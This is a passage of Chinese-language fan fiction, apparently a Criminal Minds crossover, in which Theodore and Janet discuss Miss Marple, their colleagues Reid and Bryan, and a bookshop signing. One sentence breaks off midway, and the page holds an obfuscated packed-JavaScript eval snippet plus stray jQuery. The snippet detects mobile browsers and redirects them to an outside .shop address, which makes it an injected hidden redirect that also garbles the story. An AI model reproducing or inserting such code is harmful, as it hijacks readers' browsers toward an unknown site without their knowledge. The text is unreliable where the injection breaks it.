狄奥多看着她因为激动而微微泛红的脸颊,忽然想起简内特的全名。简内特·马拉。第一次听到的时候他总觉得耳熟,此时聊起阿加莎·克里斯蒂的马普尔小姐他才突然意识到——简·马普尔。简内特·马拉。发音有点像,拼写也有点像。
狄奥多看着面前的青年说起马普尔小姐时那种发自内心的雀跃,他觉得这个奇妙的名字大概率不是巧合。至少也是一个“命运的安排”。
“而且啊,”简内特正在兴头上,根本没注意到狄奥多在走神,“马普尔小姐的故事里很少有血腥的细节,重点永远是人。动机,关系,秘密。我觉得这才是侦探小说最核心的东西。不是人怎么死去的,是人为什么死去。”
她顿了顿,又补了一句:“当然福尔摩斯也很厉害,波洛也很厉害,但他们太……天才了?或者说全能到超凡脱俗。就是那种普通人够不着的感觉。但我觉得马普尔小姐不一样,她就像你隔壁那个什么都看在眼里的老太太。”
“所以你选专业的时候也受这个影响?”狄奥多认真地听完,却抛出了一个出其不意的问题。也确实是他好奇的问题。
简内特一怔,却毫不犹豫地给出了答案:“当然。我想知道人为什么会犯罪,不是从统计学的角度,是从‘这个人到底经历了什么’的角度。我一开始以为那就是犯罪心理学,但玛莎教授告诉了我一个新名词,叫‘动机的叙事性’。”
“这样啊……”狄奥多若有所思,却没纠结,轻快地跳过了这个不属于自己的议题:
“这么说起来,我好像看到过瑞德也看侦探小说。不过他更喜欢那些——”
“那些十九世纪的经典,我知道。谁叫他刚入门呢?我可不能现在给他推荐那种房子里造了一个秘密通道的小说,会带坏我们未来的好探员的!”简内特轻轻翻了个无奈的白眼,语气里没有恶意,甚至饱含着喜爱,“他上次还跟我讨论福尔摩斯和亚森·罗宾谁更聪明,我说你不如去问玛莎。”
“瑞德就像个布莱恩plus,升级版。”简内特想着,眉头又纠结在了一起。
“布莱恩?”
“克里斯·布莱恩。我们组的那个。”简内特朝狄奥多挑了挑眉,“你不觉得吗?那种‘我知道很多你不知道的事’的气场。”
狄奥多想了一下。布莱恩是那种话不多、但每次开口都能让人愣一下的类型。上周的小组会上,威尔在论证某个连环杀手的作案模式,布莱恩一直没说话,等威尔说完了,他才慢悠悠地来了一句:“你刚说的那个推断,1987年有个案子已经推翻过了。”然后他报了一个卷宗编号,把威尔噎得半天没接上话。
但布莱恩喜欢做的是数据分析……不对,瑞德原来不也是物理学教授?狄奥多有点纠结起来。计算机和物理学涉猎的数学还是不太一样的吧。是吧?
“瑞德没有那种……故意噎人的习惯。”狄奥多斟酌了一下用词,“他只是知道得很多,然后说出来。”
“对,但效果不是很相近吗。”简内特却有点不同的想法,“就是那种‘我不是在炫耀我只是在陈述事实但你听完就开始觉得自己脑子不太好使’的感觉。虽然他们一个喜欢拉表格给你看,一个喜欢背参考文献给你听。”
狄奥多想了想瑞德说话时的样子,觉得简内特的形容虽然绕口,但意外地准确。
金发青年想了想,最后笑了一下。他往旁边让了让,简内特也没再继续提起聪明的异校博士或者走错专业的数据分析师,只是顺势把自己的书往怀里拢了拢,站在狄奥多旁边,又翻开那黑色的封面。
“倒数第二本了,”她翻着书页,声音里带上了一种真切的感慨,“卡塞尔采访里说下一本就完结。我都不知道是该期待还是该难过。”
“克洛伊也是这么说的。”狄奥多说。
“你送礼物的对象?”简内特抬起头,镜片后面的眼睛里闪着好奇。
“不。但她也看了这个系列,看得比我全。”因为在凯伦缺席的时候,克洛伊把所有新出的“斯托姆故事”都买了,因为一直没送出去,反而自己看完了一遍又一遍。
“她多大?”
“十四。”
“那正好是看这种书的年纪。”简内特点了点头,“我十四岁的时候在看阿加莎·克里斯蒂,把马普尔小姐的所有案子都读了两遍。”
她又提了一遍。狄奥多想起简内特的全名,忽然有点想笑。简内特·马拉。简·马普尔。他之前怎么会没注意到?
“你名字很像马普尔小姐。”狄奥多想了想,还是说。
简内特愣了一下,然后笑了,笑得有点得意:“你才发现?我还以为你早就要说这个了。”
“因为我也在犹豫这是不是一个‘陷阱’。”狄奥多俏皮地勾起嘴角,双手一摊。
“陷阱?”简内特推了推眼镜,镜片反光遮住了她眼里的笑意,“我只是有点好奇年级第一先生的观察力配不配得上他的绩点。现在看来是我太小看你了呀。”
狄奥多笑了一下,正想说点什么,简内特已经把话题轻巧地转了个弯:
“对了,最近怎么总是不见基利安跟你黏在一起了?之前你们不是都快成图书馆连体婴了吗?”
狄奥多愣了一下。连体婴?他们在别人眼里是这样的吗?
“他有他的事要忙吧。”狄奥多轻描淡写,手指无意识地翻了一下手里的书页,“最近教授那边好像找他有事。”
简内特狐疑地看了他一眼,但没有追问。如果狄奥多也联系不上基利安的话,那她还是只能在短信里催催基利安,看他到底到底要不要定下那间公寓。她想着,低头看了看自己怀里那摞书,忽然想起什么似的,从最底下抽出一本。
“对了,你帮我看一下这本。”她把书递过来,“这本怎么样?我还没看过这个作者的。”
狄奥多接过来。封面是杏白色的,标题用黑色字体写着《怪屋奇谈》,作者名字他没听说过。
“没看过。也没听其他人说起过。”他轻轻摇摇头。
“那算了。”简内特把书塞回底下,“我还是相信我的直觉吧。”
两个人又聊了几句最近的阅读。简内特说她最近在读一本关于连环杀手侧写起源的非虚构作品,作者采访了当年FBI行为科学部的几个创始人。狄奥多说他看过那本,觉得后半段有点啰嗦。
“后半段确实啰嗦,”简内特说,“但是前半段关于调查方法的描述很精彩。你知道吗,他们一开始连‘侧写’这个词都没有,就是几个探员聚在一起聊案子,聊着聊着就有了思路。”
狄奥多知道。他见过BAU的成员,虽然只是其中三位。
“我觉得瑞德以后也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555566|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会进那种地方。”简内特核对着书背面的价签,突然说。
狄奥多眨眨眼:“为什么?”
“他脑子快啊。”简内特理所当然地说,“而且他对连环凶案有一种天然的好奇心。也许他能成为一个移动的百科全书呢。”
“非常大胆的畅想。”
“我觉得这可不只是畅想。”简内特耸了耸肩,“他可是玛莎的‘插班生’。”
“而且畅想是第一步嘛。”青年耸耸肩,把怀里那摞书又换了个重心,“虽然他现在看起来更像会被FBI的体能测试绊倒,而不是在审讯室里大显身手。”
狄奥多想起瑞德蹲在图书馆过道里翻期刊的样子,觉得这个评价虽然尖锐但确实不冤枉。他正要接口,忽然听见——
“235号!”
场务终于叫到她了。简内特靠近内场的入口,可以看见里面排队的栏杆和摆成长桌的签售台了。她有点按捺不住,踮起脚尖往里张望。收银台在同一个方向,狄奥多也就跟着靠近了入口的栏杆。
“我看见他了!”她小声叫了一下,“他就坐在那里,穿深色西装,头发比照片上白一点。”
狄奥多也跟着看了一眼。穿过人群,可以看见一个侧影,正在低头签名,偶尔抬头和读者说两句话,笑起来的时候眼角的细纹很明显。
简内特排在第四个。她一会儿把怀里的书从左手换到右手,一会儿又换回来,最后干脆把那本最厚的《暗夜男爵》塞到狄奥多手里。
“帮我拿一下,我手抖。”
“你手抖什么?”
“你见到活的阿加莎·克里斯蒂你不抖?”
狄奥多想说阿加莎·克里斯蒂已经去世很多年了,但看她紧张又兴奋的样子,还是把话咽了回去。他接过那本蓝色封面的书,站在栏杆外面等她。
排在简内特前面的几个人都签得很快,有个人还跟卡塞尔合了影。轮到简内特的时候,她深吸了一口气,把书递过去,说了句什么。狄奥多隔着玻璃没听清,但能看到她退开的时候脸上那种表情——是那种刚完成了一件重要的事而激动万分、正在努力克制着不让自己看起来太傻的表情。这表情狄奥多很熟悉,克洛伊拿到喜欢的好莱坞演员的签名也是这副样子。
几分钟后,简内特抱着签好的书走出来,又心满意足地来回翻了好几遍扉页,这才收回包里,问狄奥多:“你去结账?”
“嗯。”
“那我去门口等你,一起走?”
狄奥多点了点头,看着她推开玻璃门,然后自己走向收银台。
收银员是个留着短发的年轻女人,耳朵上戴着好几个银色的耳钉,一边扫码一边瞥了一眼狄奥多。
“不要签名?”
“不用。现在也排不上了吧。”
“那这个给你。”收银员听了耸耸肩,从柜台底下抽出一张书签,黑色的底色,印着书名和作者名,边角烫金,“赠品。”
狄奥多接过书签,把它夹进书页里,付了钱,走出书店。
热浪又扑面而来。
他站在遮阳篷下,低头看了一眼手里的书。封面是黑色的,用白色画着一片暴风雨中的海面,远处有一艘快要被浪吞没的船。卡塞尔的名字印在正上方,白色字体,被雨水效果处理成了模糊的轮廓。
凯伦应该会喜欢。